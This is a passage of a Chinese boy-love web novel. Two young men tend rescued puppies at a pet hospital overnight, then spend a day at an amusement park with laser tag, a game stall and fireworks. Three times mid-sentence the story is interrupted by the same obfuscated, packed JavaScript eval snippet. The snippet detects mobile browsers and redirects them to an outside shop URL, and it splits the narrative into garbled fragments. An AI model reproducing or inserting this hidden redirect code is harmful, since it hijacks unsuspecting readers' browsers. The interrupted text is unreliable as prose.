十几只成年的大狗横七竖八地或趴或站，挤在本就不算大的前台。它们身上都布满了伤口，新鲜的陈旧的，不一而足。一股仿佛臭水沟的味道萦绕不去，鹿溪午当即皱紧了眉头。 离得最近的是一只金毛，浑浊的眼睛小心地瞥了鹿溪午一眼，瑟缩着往后退了好几步。 “不好意思哈，今天医院不对外营业，你——诶？你不是上次跟小贺来的那个小帅哥吗？”雯姐忙中抬头，见到鹿溪午抱着箱子惊讶不已。 “那个，我捡到一只小狗，本来想带它来看看……你们现在是不是不方便？” 鹿溪午站在原地，被伤痕累累的狗狗盯着不敢上前，生怕刺激到这些脆弱的生命。 “没事没事，现在这个情况，多一条少一条都是一样的。” 雯姐接了鹿溪午的箱子，示意大厅的椅子，“你先坐，正好小贺也在这儿，我去叫他啊。” “诶？”鹿溪午眼睁睁看着雯姐健步如飞地拐进大门消失不见。 这……好巧！ “怎么到这儿来了？我记得你家楼下不就有个宠物医院吗？” 贺存穿着休闲的白色高领毛衣，勾勒出他宽阔的胸膛，然而身前的衣服却被蹭得五颜六色，头发微微散乱，却莫名透出几分凌乱的美感。 鹿溪午一下子被问住了，他也不清楚自己为什么下意识就走到了这里。 “啊……那家啊，没开门。” 贺存扶了扶自己有些歪斜的眼镜，笑容显得有些意味深长：“是吗？那真是太巧了。” 天地良心，这次相遇真的是巧合啊喂！ 鹿溪午心虚地摸摸鼻子：“你们在干什么呢？怎么这么多流浪狗？” 两人站在前厅说话时，四周的狗狗更往后贴着墙了，看样子像是恨不得离人类远远的。 贺存看见这些流浪狗的反应，不由得暗下眼神，叹了口气说道： “今天曹医生他们打掉了一个狗贩子的窝点，这些都是救出来的狗狗们，暂时先在这里把伤处理一下，明天就送去收容站。” “它们看起来似乎都很害怕的样子，处理很麻烦吧？”鹿溪午尝试着靠近一只大黄狗，却在离它一米远的位置上被哈了一口。 贺存眼疾手快拉住鹿溪午往后退：“小心，有些狗狗有心理阴影，可能会对靠近的人类做出过激的举动。” 话落，只见那只大黄狗警惕地盯了盯他们，退到了一个离人更远的角落。 “这些都是受伤较轻的，暂时不需要处理。真正严重的在后面。” 鹿溪午跟在贺存身后，第一次真正意义上的走进这家宠物医院。 狭长的走廊尽头，手术室灯火通明，不断有狗狗被护士抱出来送进病房笼子里。一端的监护室里，还有几只才出生的小狗安静地躺在保温箱中，它们的身体虚弱，但呼吸已逐渐平稳。 “它们的妈妈就是在逃跑的时候被打折了腿，救出来的时候伤口都恶化了，只能打了麻醉先把小狗剖出来，再截肢保命。” 才出生的小狗连眼睛都没睁，全身毛发稀稀拉拉的，跟一只耗子差不多大。 真是……太弱小了。 鹿溪午难受地皱起了眉：“它们会活下来吗？” “……希望会。” 贺存转过头，挺拔的身影遮住了头顶柔白的灯光。阴影里，他的山根连同鼻梁的弧线都格外清晰，灯光折射出一轮浅色光晕，像古城廊下的月。 “我估计还得忙上一阵子，就不送你了，自己可以吗？” 鹿溪午看看他，又看看保温箱里的小狗崽：“我听说刚出生的小狗仔需要每两个小时喂一次奶，学长一个人怎么照顾得过来？我来帮你吧。” “可是……” “雯姐他们应该更忙吧，没事，我来帮忙。” 面前的青年目光灼灼，第一次在他跟前露出堪称执拗的眼神来。贺存眉眼泛上清朗温润的笑：“好，多谢。” 说和做向来都是两码不同的事。 鹿溪午的双手轻轻颤抖，他从未如此近距离地接触过如此幼小的生命。小狗崽蜷缩在他手心，毛茸茸的身体温暖而柔软，发出微弱的呼吸，温热又湿润地喷洒在皮肤上。 它实在是太小太小了。 贺存微笑着，眼神中满是温柔和鼓励：“别紧张，先让小狗崽适应适应你的气味和温度。轻轻地，就像这样……”他边说边示范，用手指轻轻抚摸小狗崽的背部，动作轻柔得仿佛在触摸最脆弱的花瓣。 鹿溪午深吸一口气，尝试模仿他的动作。指尖轻轻划过小狗崽的毛发，尽管还是有些生涩，但小狗崽似乎感受到了他的善意，渐渐地，它的身体不再那么紧绷，呼吸也变得平稳起来。 “你看，它开始放松了。”贺存的声音中带着一丝欣慰和骄傲，“记得，喂食的时候要特别小心，用这个针.筒，角度要合适，不能让它吞咽空气……” 鹿溪午学着贺存的样子小心翼翼地将羊奶挤入小狗崽的嘴里，看他吧嗒吧嗒地吞咽了起来，内心无比激动。 “学长…它，它吃了……” “是的，你可以小小地激动一会儿了。” 紧接着，鹿溪午又在贺存的指导下用温热湿润的棉球帮助小狗排便。 五只小狗可花了两人不少时间。 雯姐进来的时候，鹿溪午和贺存正好收拾完。 “太好了，你们都在，我等下得去手术室帮忙，外面大厅的狗狗麻烦你们照看一下。” 贺存揉了揉眉心，眼神里难得露出一丝疲惫：“雯姐你去吧，我们会注意的。” 得了保证，雯姐拿了几支药剂，脚步匆匆地往外走，路过保温箱时看了看里面的小狗崽，目露遗憾：“它们的妈妈没有挺过麻醉……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733469|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿堂风卷走了这句话的最后的几个字音，鹿溪午莫名觉得这场风有些冷，连心跳似乎都缓慢了下来。贺存沉默地靠在墙上，望着窗外不知在想些什么。 “收容所那边已经在物色这群狗崽的新妈妈了，最近他们也收了不少怀孕的狗妈妈，总能找到合适的养母。” 这些年雯姐见惯了小生命的不幸，只能丢下一句似是而非的安慰，转身又奔赴下一场生死。 许久，贺存才打破房间里沉默的空气，“旁边房间里有行军床，去躺一会儿吗？” 鹿溪午这才注意到时钟的指针已经指向了数字十二：“不了，我睡不着。” “去看看大厅吧。”贺存走到门口，整个人沐浴在走廊雪白的灯光下，转过头看向鹿溪午，“这里暂时不需要我们。” 来到大厅，透过玻璃门往外看去，夜色浓郁暗沉，像随手打翻的一瓶墨汁。四周的角落里，狗狗们簇拥在一起沉睡，偶有两只被惊醒的也只是直起脖子盯着两人，并不吠叫。 “其实现在想想，你没加入我们协会还挺好的，至少不用再次面对刚才的场面。” 贺存坐在大厅的长椅上，像是第一次带鹿溪午来这儿时的一样，拍了拍自己身旁的位置：“来，坐吧。” 鹿溪午轻轻坐在他的身边，看向他轮廓分明的侧脸：“学长经常遇到这样的情况吗？” “学会接受它们的离去是每一个成员的必修课。”贺存轻声说着，“毕竟，还有更多的生命等待被拯救。” “可接受并不是代表不痛苦，对吗？学长并不是一个惯于麻木的人。” 鹿溪午坐得离贺存更近了些，鼻尖似乎能闻到属于贺存的雨后青山的气息。相贴的大腿肌肤诚实地反应着相互的温度，衣料摩挲的声音在暗夜里分外明显。 “是啊，每次遇到这些事情，无论表面多么习以为常，可内心总是会难过的，总是会想要是能再快一点是不是就不会出事了，是不是就有另外的结局了。” 贺存垂下眼眸，内心不由得有些贪恋某人生涩的安慰，相互慰藉的温度好似大厅里挤在一团的狗狗们。 “我听过一个说法，人类绝大部分的痛苦来自于对自身和他人极高的道德要求。” 鹿溪午眨眨有些酸涩的眼睛，“换个说法，学长你已经做的够好了，不要太苛求自己。” 苛求……？ 贺存新鲜地咀嚼着这个词汇，很少有人会这么评价他。 他是默认的华曙继承人，所有人都习惯于用最高的标准来看待他，要求他。仿佛他生来就该如此优秀，必须光芒加身。 今天是第一次有人说，苛求。 “你觉得我对自己的要求很高吗？” 闻言，鹿溪午瞪大了双眼：“当然了！虽然我见你似乎都是神采奕奕的样子，但我大概能感觉到，学长应该很累了。” “这样吧，反正小狗崽也喂了，学长不如先靠着我睡一觉，养养精神。”鹿溪午拍拍自己不甚强壮的肩膀，一副大方的样子。 贺存只觉得自己似乎被一只天真烂漫的白尾鹿盯上了，杏眼无辜地扑闪扑闪，好似无声的邀请。 他实在是忍不住在鹿溪午头上摸了一把，触感如同摸上绸缎般光滑，跟他的想象如出一辙：“谢谢你，不过晚上还有正事呢，我先欠着行不行？” 鹿溪午下意识点点头，可随即便反应过来：这玩意儿能欠的？！ 22.真人cs 鹿溪午是被窗外的鸟叫声吵醒的。 他一骨碌从行军床上坐起来，最后的记忆还停留在昨夜跟贺存一起喂完小狗，他们正讨论着狗崽的品种。他懊恼地挠了挠头，自己怎么就睡着了呢？ “醒了？” 贺存提着一兜子外卖走进，看见已经醒了的鹿溪午笑道，“快来吃早饭。” 熬了整夜的衣领和头发均有些散乱，眼底的疲惫和眼下的青黑做不得假，鹿溪午还是第一次看见这样狼狈的贺存。 “对不起学长，我一不小心就睡着了……” “没事，你已经帮了我大忙了。”贺存温和地示意鹿溪午，“走廊尽头是厕所，洗个手来吃饭吧。” 贺存打开塑料袋把外卖盒端出来摆在桌子上，是一家粤式的早茶，有虾饺，叉烧和炖得黏糊糊的皮蛋瘦肉粥。 “好香啊。”洗完手回来的鹿溪午像是小兽似的嗅嗅，目光聚集在早餐上，肚子不争气地叫了两声。 贺存笑意盈盈，一向平淡的语气里夹杂着几分忍不住的笑：“吃吧，都饿坏了。” 鹿溪午难得有几分羞赧，抿了抿唇决定化悲愤为食欲。 这家早餐店的菜色做得不错，两个人熬了一晚上早就饿了，风卷残云般的速度把东西吃掉了。 “诶太好了，你们都在。” 曹风华推门而入，一脸熬过夜的疲惫神色，白大褂皱皱巴巴，半点没有情场浪子的风流倜傥。 他已经放弃在鹿溪午面前做形象管理了。 “初次见面，我是曹风华，是这家宠物医院的医生兼院长。”曹风华礼貌地向鹿溪午做了自我介绍。 “感谢你昨晚的帮助——对了，你送来的那只小狗没什么大问题，如果你自己没什么想法的话，我们就准备把它和其他狗狗一起送收容站了，可以吗？” 鹿溪午急忙点点头：“当然没问题，曹医生你看起来很疲惫啊，需要休息一下吗？” 被美人一声问候，曹风华立刻捂住胸口，一脸感动：“谢谢小帅哥的关心，我现在觉得我还能再做十台绝育手术。” 一旁的贺存眉梢微扬：“你的统计工作干完了？收容站的对接商量好了？” “快了快了，催什么催。”曹风华撇撇嘴，“这次搞完了一个大活，大家商量着周末团建的事情，你参加吗？小帅哥也可以一起来哟。” 贺存：“准备去哪儿？” “城北新建的那个游乐园，得票最高。” 鹿溪午知道城北的主题游乐园，据说修建了足足两年才完工，联动了不少大热的IP，有不少本地人和游客慕名而去。 “那家游乐园很难抢票吧？”鹿溪午似乎听周有柏抱怨过，掐点抢都不行。 曹风华轻咳一声，殷切地看向贺存：“不知道贺老板有没有什么办法啊？” 贺存无奈，就知道他打的是这个主意，“行，帮你问问。” 等曹风华走后，贺存突然看向鹿溪午：“你想去吗？” 鹿溪午正拿着手机查询游乐园的相关信息，摩天轮，过山车，海盗船……从图片上看起来很是精彩刺激。 “看起来还是很不错的。”鹿溪午举起手机给贺存看，琥珀色的眼眸里满是期待的欣喜，“学长你看，这里面还有真人CS呢！” “知道了。”贺存没有多说什么，“赶紧回去休息休息，你下午还有课吧。” “对哦！你不说我都忘记了。学长那我先走了！” . 时间很快来到周末。 鹿溪午是第一次参加这样的活动。之前在俱乐部聚会，不是开黑就是烧烤，很少有这种青天白日的户外活动。 宠物医院的人都跟曹风华差不多的性子，自来熟，围在新朋友鹿溪午的周围说说笑笑，简直不像是刚认识的人。 “我说你们看见人帅哥就话多，怎么平时不见你们对我这么殷勤啊？” 曹风华骚包地戴着墨镜，一身酷炫的荧光粉外套，配黑色工装裤，感觉马上就能上台来段rap。 贺存远远地看见曹风华的装扮眼角一抽，“你今天的穿搭……” “怎么样是不是很帅气？” 贺存皮笑肉不笑地点头：“……至少不用担心你会走丢了。” 人群顿时爆发出一阵笑声，连鹿溪午都忍不住弯了眼睛。 曹风华：你们礼貌吗？ 周末的游乐园多的是来游玩的人。 幸好贺存提供的是游乐园的VIP速通票，医院众人忐忑地越过一眼望不到尽头的队伍，在另一道标着黄色乐园logo的闸口，贺存递出了自己的票。 工作人员彬彬有礼地双手接过，核验无误后还给贺存：“欢迎您尊敬的游客，园内设有免费的VIP休息室和餐厅，所有项目您都无需排队，只要走印有黄色乐园标志的闸口就好，周末园内有花车游行，晚上有烟花表演，祝您玩得愉快。” 进园区的第一站早就商量好了，去玩游乐园人气最高的项目——真人CS。跟某款大热的FPS游戏联动的园区，火到甚至需要提前七天预约场地。 众人刚好能凑一局CS的最低人数，一群人呼啦啦地杀向射击园区。 园区的工作人员确认了预约信息，替众人穿戴了射击的装备，开始讲解起游戏规则： “本次游戏根据人数分为两两一对，你们身上的马甲和头盔是感应装置，被其他队伍的玩家集中则被淘汰，最后存活的队伍即为胜利者。” 曹风华觉得手边似乎少了什么，左看右看后举起了手：“教官，请问武器在哪儿？” “问得好。”教官指着身后复杂的游戏场地，“场地里藏着你们需要的各种武器，拿到枪后，用戴在手上的磁卡激活它，才会有红外线杀伤效果。” “武器归属权可以覆盖，同样用磁卡再刷一次就可以。游戏一共两个小时，期间有两次空投，各位玩家注意红色烟雾升起的位置。” “好了，没有疑问的话，你们可以组队了。” 曹风华大刀阔斧地举了手：“我在游戏里把把吃鸡，有没有人跟我一路的呀？” 周围的人默默看了一眼他酷炫的衣服，同时退后一步：“哒咩！” 开玩笑，曹医生这身衣服进了游戏不是活靶子吗？ 鹿溪午眨巴眨巴眼睛，往贺存的方向靠了靠，状似不经意间地开口：“学长等会儿我们往哪个方向走啊？” 贺存对鹿溪午暗戳戳的小心思忍俊不禁：“往东，一路捡了装备往高处走。” “好！” 不同于两人的一拍即合，曹风华找寻队友的路途确实屡屡碰壁，最后雯姐看不下去了，一把薅住他的领子：“老娘带你飞，躺好。” “好的姐，没问题的姐。”曹风华简直感动得落泪。 教官掐着秒表， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738012|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手吹响了哨子：“记时开始。” 贺存反应迅速，十分自然地拉起鹿溪午的手腕往东跑，钻进了树林里。 游戏的园区远比想象中的更大，过了三分钟，两人才来到第一个物资点。 虽然鹿溪午玩过吃鸡，电竞选手的准头也相当不错，但不代表他在现实中会对枪械游刃有余。 这些模拟枪械显然都是仿的游戏里的模型，做得十分精良，入手沉甸甸的，很有分量。 鹿溪午给自己挑了一把中规中矩的AK，贺存则是在屋里翻到了一把M4。 贺存熟练地咔咔两下卸了弹匣，但忽地想起这是模型不用子弹，又悄默声地给装了回去。 “太帅了学长！”鹿溪午简直对贺存熟练卸弹匣的动作冒星星眼，“这几招能不能教教我？” 贺存正要回答，就听见门外传来了脚步声和说话声。 他们两人对视一眼，贺存藏到了另一件屋子的门背后，而鹿溪午藏到了楼梯上。 不久，便有人探头探脑地推门而进，见到满桌子的武器后瞬间哇了出生：“终于找到安全感了哈哈哈哈。” 鹿溪午认得这两人，也是医院的宠物医生，跟曹风华是同一届的同学。 两人毫无警惕性的在桌子面前大挑特挑，完全没有想过屋里还有另外两个人的存在。 鹿溪午简直都不好意思扣动扳机，这跟打靶子似乎没区别。 直到这两人笑嘻嘻地挑完枪离开，都没有回头看过屋里其他房间一眼。 “两个小时的游戏时间呢，让他们有点参与感吧。”鹿溪午从楼梯上下来，挠挠自己的后脑勺，跟贺存无奈地对视一眼。 两人顺着小路一路上去，路遇两队正在交火，带着电音的枪声啪啪响个不停。 鹿溪午仗着瘦躲在一棵不知名的树干后面，枪尖的准星瞄准了还在库库开枪的玩家之一。 砰—— 还沉浸在互殴的氛围中的玩家顿时傻眼，身上的衣服传来了被击中的声音，紧接着就是一阵机械语音：“您已淘汰，请回基地休息。” 被淘汰的玩家的队友是个老手，瞬间便锁定了开枪的鹿溪午的位置，回头两枪点射，迅速钻进林子溜了：“兄弟对不住了，你的仇来日再报。” 另一队见势不对，在贺存的火力逼迫下钻进旁边的屋里隐蔽起来。 “怎么办？屋里那个很难打啊。”鹿溪午跟贺存一起躲在一块大石后面，两边谁也不敢先冒头。 “等等看。” 石头虽大，但要躲两个成年男性还是过于勉强，两人此时头挨着头，脚挨着脚，呼吸时甚至能听到对方如鼓的心跳，看清脸上颤动的细小绒毛。 太近了。 鹿溪午抱着枪红了耳朵，尽全力把自己缩成小小的一团，然后故作镇定地开口：“他万一要是不冒头了怎么办？” 温热的体温透过肩膀的衣服，像雾一样融进了皮肤。贺存分明地看见鹿溪午额头的汗水划过脸颊，沿着颈侧的线条落进锁骨衣物的更深处。 “再等等吧，他们守在那儿，我们也不能上去。” 贺存强迫自己移开视线，不自然地舔了一下干裂的唇角，喉结滚动。 鹿溪午微垂着眼角，鼻端萦绕着被体温蒸湿的，雨后青山的草木香。 那一瞬间，两人的脑电波诡异的同步了——要是能这样多待会儿就好了。 23.游乐园 又等了几分钟，贺存抬手看了一眼腕表，游戏时间不多了。 恰在此时，变故陡生。 刚刚被鹿溪午一枪淘汰掉队友的玩家，趁他们两方相互对峙之际，悄悄摸进了对面的房子里。 噼里啪啦混乱的枪声响起，贺存跟鹿溪午对视一眼，默契地一左一右绕进房子里。 楼梯间三人正在快速交火，转眼间二楼就又响起了机械语音“您已淘汰，请回基地休息” 前来复仇的玩家见已经淘汰掉了一个，眼中露出兴奋的光芒，正准备迅速起身往前压进时，忽地转头开枪。 砰！ 鹿溪午闪避及时，躲开了这一枪，却失去了把对面淘汰掉的最佳机会。 贺存则是从另一边的楼梯摸上了二楼，与同样奔上二楼的玩家端着枪面面相觑，两人同时扣动扳机—— “您已淘汰，请回基地休息。” “您已淘汰，请回基地休息。” “哈哈让你们围剿我，淘汰了吧！”藏在一堆废纸箱里的玩家喜出望外，抱着枪跳出来叉腰狂笑，“这叫鹬蚌相争渔翁得——” 砰—— “您已淘汰，请回基地休息。” “噶？” 玩家低头，看见面无表情地鹿溪午站在楼梯上，黑洞洞的枪口正对着他：“这叫螳螂捕蝉黄雀在后。” 五味杂陈，只能说五味杂陈。 鹿溪午得意地向贺存一挑眉：“帮你报仇了！” 贺存穿着身冒红光闪烁着淘汰提示音乐的马甲，无奈一笑：“好的，谢谢。” 好在此时结束的音乐响起，所有人都往回走。 后面回基地统计存活人数时，鹿溪午便是寥寥几人中的一个，被工作人员塞了一个金属做的小牌子，是纪念勋章。 曹风华由于过于显眼的衣服，光荣成为场上第一个被淘汰的人，得到了一个“落地成盒”的头箍，被众人抓住强迫他戴上了这个头箍并拍了张照片。 一群人嬉笑着，贺存却悄悄抓了鹿溪午的手腕：“等下他们要去鬼屋。” “啊？”鹿溪午睁大眼睛，鬼屋？那里黑咕隆咚的有什么好去的！ 贺存凑近鹿溪午，眸子犹如浸过泉水的黑曜石一般明朗，全数倒映着鹿溪午的身影：“跑？” 眼神如云雾缭绕上鹿溪午的脊背，四周嘈杂不堪，可他却能清晰地听到自己的心跳。 咚，咚，咚…… 仿佛是在催促他赶紧点头。 贺存拉着鹿溪午退到人群边缘：“三，二，一，跑！” 搭在手腕上的灼热手指收紧，那力道带着鹿溪午不自觉地跟着贺存的步子跑了起来。 迎面的微风撩起额前的碎发，人群，气球，嬉笑喧闹都化作光陆怪离的景象飞过眼际，只余心跳如擂。 鹿溪午情不自禁地带上几分笑容：“学长，你觉得我们这样，像不像去私奔？” 风把鹿溪午的声音吹得很散，打着旋地飘入贺存耳中。 “像。” . 海盗船，过山车，摩天轮，激流勇进…… 两人从激流勇进的船上下来的时候，眉毛，眼睫，连同额前的头发都在滴水，乐园里三十一件的雨衣起了一个吉祥物的作用。 鹿溪午倒是神采奕奕的，浅咖色的琉璃眸子里满是跃跃欲试的兴奋，似乎还想再来一次的感觉。 贺存赶紧把人拉着往VIP休息室里去，找工作人员要了面巾和热水，放到鹿溪午手边：“赶紧擦擦，别着凉。” 鹿溪午囫囵把自己一擦，捧着热水兴致勃勃：“下一项我们去玩云霄飞车吧，听说那是跟异界之巅联名的游乐设施，我想去打卡！” “好，去。”贺存连连答应，指了指鹿溪午湿成一绺的耳发：“没擦干净，怎么跟小孩子一样。” 鹿溪午又拿起面巾擦了一遍：“现在呢？” “好了，走吧。” 两人路过游乐园里一排排的游戏小摊，奖品堆得琳琅满目，吸引了不少人在小摊前慷慨解囊。 贺存倒是眼见看见了一个特别的摊子，拍拍鹿溪午的手臂让他看—— 是一个异界之颠的主题小摊，奖品是各种不同的角色的Q版棉花娃娃。游戏挑战干脆就直接是异界的登录界面。 “两位游客要来试一试吗？这是我们乐园特供的人机系统，比游戏上线的地狱人机更具挑战性哦。” 鹿溪午凝眸看了半晌，忽的转头对贺存说：“学长看上哪个娃娃了？随便挑。” 还不等贺存回答，旁边就有人笑了：“小伙子口气还挺大，我王者段位，在这儿打了一下午了都没过呢！” 鹿溪午回头，是个穿着异界之颠主题文化衫的中年大叔：“大叔，这娃娃吧，我还真能随便赢。” 大叔挑高了眉毛：“行行行，你打你打，我看看你怎么随便赢。” 鹿溪午去柜台换了五个游戏币，而挑战打一把刚好需要五个。 这个举动太过自信，大叔拍了拍贺存的肩：“你这朋友，打游戏很厉害？” 贺存垂眸看了一眼大叔文化衫上写的“TD牛.逼”四个大字，轻笑一声：“当然，他一直很厉害。” 游戏的地图是熟悉的1V1，鹿溪午想也没想锁了自己的本命寒冰荆棘。 对面人机则选了一个上单战士的狂斧蛮牛。血厚，移速慢，攻速慢，但普攻一刀贼疼。 平常人一看这个选的英雄，下意识就觉得寒冰荆棘输了一半。这个脆皮小法师，对面开大几刀普攻就没了。 但鹿溪午是谁啊？联盟中单大魔王，他的寒冰荆棘就没在赛场上放出来过。 开局鹿溪午打得就凶，不停的给狂斧蛮牛叠寒气，自己却像是一尾灵活的泥鳅，却愣是没沾到一点对手的刀气。 狂斧蛮牛攻击前摇有点长，被寒气降速后就更长了，以鹿溪午的反应速度，只要蛮牛一抬斧，他就知道人机往哪里劈。 普攻高又怎样，你先打到再说呀。 两方几乎同时到六，鹿溪午趁着兵线节奏，一套技能打完就走，耗了蛮牛将近一半的血量。实在是有点厚，三层寒气爆发的伤害打不动。 鹿溪午鼓了鼓腮帮子，干脆直接弃了防御装，换成全输出的穿透伤害。 “打法太极端了，这被蛮牛挨一下就死了。” 鹿溪午上线对局依旧打得凶残，寒气叠得飞快，暴击伤害，寒气翻倍，大招一开，寒气爆发，全输出的装备将伤害叠到了一个恐怖的数字。 蛮牛节节败退，举着斧子狠狠向寒冰荆棘看去，确实挨到了他的一片衣角，第三次空大。 人机的第三次空大。 大叔的眼睛都快要瞪出来了。 寒冰荆棘趁着蛮牛大招冷却，迅速叠上寒气伤害，配合冷却好的二技能，收割蛮牛最后一点血量。 【胜利】 工作人员啪啪鼓掌：“恭喜这位小哥哥打破了我们小摊的最高记录，这是您的成就勋章请收好。” 鹿溪午握着勋章笑嘻嘻看向贺存：“学长挑好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742150|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？要哪个？” 贺存摸了摸下巴，仔细地挑了好久，最后指了一个寒冰荆棘的Q版娃娃，“就它吧。” 工作人员笑着递上了娃娃：“祝您玩得愉快。” 围观的大叔皱眉想了半晌，最后一拍脑袋终于想起来这个操作像谁了：“D神！你是——诶？人呢？！” …… 贺存在人群中本就鹤立鸡群，一米八几的高个子，肩宽腰窄，眉眼锐利冷冽，跟他怀里抱着的那个棉花娃娃实在不搭。 偏偏贺存本人抱得很是自然，路过就餐区的时候还问了鹿溪午一句饿不饿。 饿到是不饿，就是玩了这么久有点渴。 看着排长队的饮品店，鹿溪午看了看贺存抱着的Q版寒冰荆棘，于是自告奋勇地去买饮料。 贺存在长椅上等了许久，正准备出去找人时，看见鹿溪午一手提着两杯橙汁，鸡蛋仔，爆米花，一手举着一大团云雾似的棉花糖，艰难地往贺存的方向走。 贺存眼皮一跳，把娃娃往腋下一夹，赶紧走上去接东西。 鹿溪午眉眼弯弯，眼睛好似蜂蜜的颜色流淌，嘴角扬起大大的笑容，有种不假思索的天真烂漫。 像个小孩儿。 “我才不是！” 鹿溪午不满地反驳，贺存才留意到自己把心里话都不小心说出来了，他给橙汁插上吸管，放到鹿溪午旁边，看着他把鸡蛋仔和吃棉花糖的小棍在长椅上摆好：“还说不是，只有小孩儿才会嘴上说不饿然后拎回一大兜零食。” 鹿溪午有点心虚：“这不是想着我们两个人一起吃嘛。” 正说着，就听见整点的音乐响起，四周忽地跑出好多穿着玩偶服的工作人员，随着音乐蹦蹦跳跳。 “花车巡游来了。”贺存看了一眼腕表，指着路口，“估计等会儿就从我们这里过了。” 数十辆高大精致的花车从路的尽头驶过来，伴随着变换不停的音乐，好多耳熟能详的动画人物站在花车上表演。 游客自然地朝这边聚集起来，鹿溪午啃着鸡蛋仔，好奇地张望，想看看有没有异界之颠的主题花车。 直到他在花车队伍中间看见一个熟悉的logo，鹿溪午赶紧举起刚才赢来的棉花娃娃，学着小孩们的样子朝花车的方向挥舞起来。 异界的花车经过时，上面的角色扮演者纷纷伸出手摸了摸Q版娃娃，最后还在鹿溪午掌心上放了一枚金属的勋章。 贺存的声音含笑：“你这是集齐游乐园的隐藏福利了啊。” “什么隐藏？” 贺存拿出VIP票根，指着底下的小字【集齐三枚不同的勋章即可开启隐藏福利。】 “诶？”还有这种好事？ 鹿溪午掏了掏兜里，拿出真人CS和游戏小摊那里赢来的勋章，跟刚刚花车上得来的勋章放在一起：“好像是诶！” 这下鹿溪午兴奋极了，花车不看了，云霄飞车不去了，先跑到游客中心兑奖去！ 鹿溪午兴奋地踏进游客中心的大门，没几分钟，又蔫哒哒地出来了。 “怎么了？福利不好吗？” “是烟花最佳观景台的位置票，但是只有一张。”鹿溪午摇摇手里的票，“可我想跟学长一起去。” “没关系，再买一张不就行了。” 鹿溪午更难过了：“我问过工作人员了，他们说这种票只作为福利，暂时不考虑对外出售。” 贺存忍不住摸了摸鹿溪午耷拉的头发，像是一只被雨淋湿的小狗：“相信我，有办法的。” 24.烟花 夜晚，贺存跟鹿溪午一起来到了游乐园西面的山顶古堡。 这本是乐园里跟某个大热的童话IP联名的标志性建筑，一楼二楼用于参观拍照打卡，顶楼的露台作为最佳观景台的位置一直没有对外开放。 鹿溪午有些忐忑：“学长，咱们只有一张票真的能进去么？” 还不等贺存回答，露台门口站的的工作人员已经眼尖地发现了他们。 “二位这边请，我们已经为您安排了最好的位置。” 城堡的装修风格是很典型的洛可可风格，华丽纤巧，栏杆，窗帘，墙壁上都用了金色的浮雕花卉图案，显得轻盈优雅。 露台很大，摆了十几套用胡桃木制作的桌椅，工作人员把两人引到其中的一张桌子边：“您两位的座位在这里，稍后会有人来送上餐食。” 工作人员说完便走了，完全没有要看鹿溪午手里位置票的意思。 不一会儿，就有服务员装扮的人端着托盘，上了两杯果汁和三层托盘的点心，马卡龙，三明治等等琳琅满目。 同样没有检票。 鹿溪午偷偷靠近贺存：“学长，其实你会魔法吧？” 贺存坐在鹿溪午对面，露台的灯铺在他乌黑的发上，逆着光恍如神祇。鹿溪午看不清贺存的脸，却能分辨出他温润如墨玉的眼睛含着极清浅的笑。 “其实我毕业于霍格沃兹。” 鹿溪午：“！原来你去英国就是去学习魔法了吗？” “是的，我的猫头鹰迷路了，前几年才把入学通知送到我家里。” 贺存顺着鹿溪午的话瞎编，话语里的轻松笑意无论如何都不能被黑暗遮掩。 无论是小孩子还是大人，在游乐园里就只会收获童话。至于他们家在游乐园里投了资这种过于现实的理由，就不适合讲成浪漫的童话了。 砰砰砰—— 整点的烟花准时炸开。 光点骤然绽放，化作无数璀璨的流星，旋转、交织、飞舞，仿佛天地间最精致的织锦，铺陈在无垠的夜幕上。 烟花的色彩斑斓而丰富，红如烈焰，蓝似深海，绿若春草，黄似秋阳，它们交织在一起，构成一幅幅流动的画卷，每一次绽放，都是一场极致的盛开。 鹿溪午忽地转头看向了贺存，却蓦然撞进一双深邃如湖的眼中。明明灭灭的光影在两人面上，亮起，熄灭。 像同一个如擂的心跳。 砰，砰，砰…… 是烟花，还是我？ 鹿溪午分不清，也不想去分清。 两人视线交缠，连呼吸的频率似乎都是一样的快速。人太会在特定的场景下放大自己的情绪了。 说点什么呀，鹿溪午！ “你……” “你……” “——小琪，你愿意嫁给我吗？” 两人同时开口，又同时被领桌打断。原来今天拿到隐藏福利的不只是他们一个。 领桌的高大男生正单膝下跪，右手举着一枚戒指盒，正深情地看向对面的清丽女生。 女生惊喜地捂住嘴，眼中泪光闪烁，只能用力地点头，却半句话也说不出来。 男生将戒指给女生戴上，两人幸福地相拥在一起。 真是童话般的结局。 鹿溪午收回目光，重新看向贺存：“学长刚才想说什么？” “……你冷不冷。” 鹿溪午默默摇头，刚才学长只是想问这个吗？ 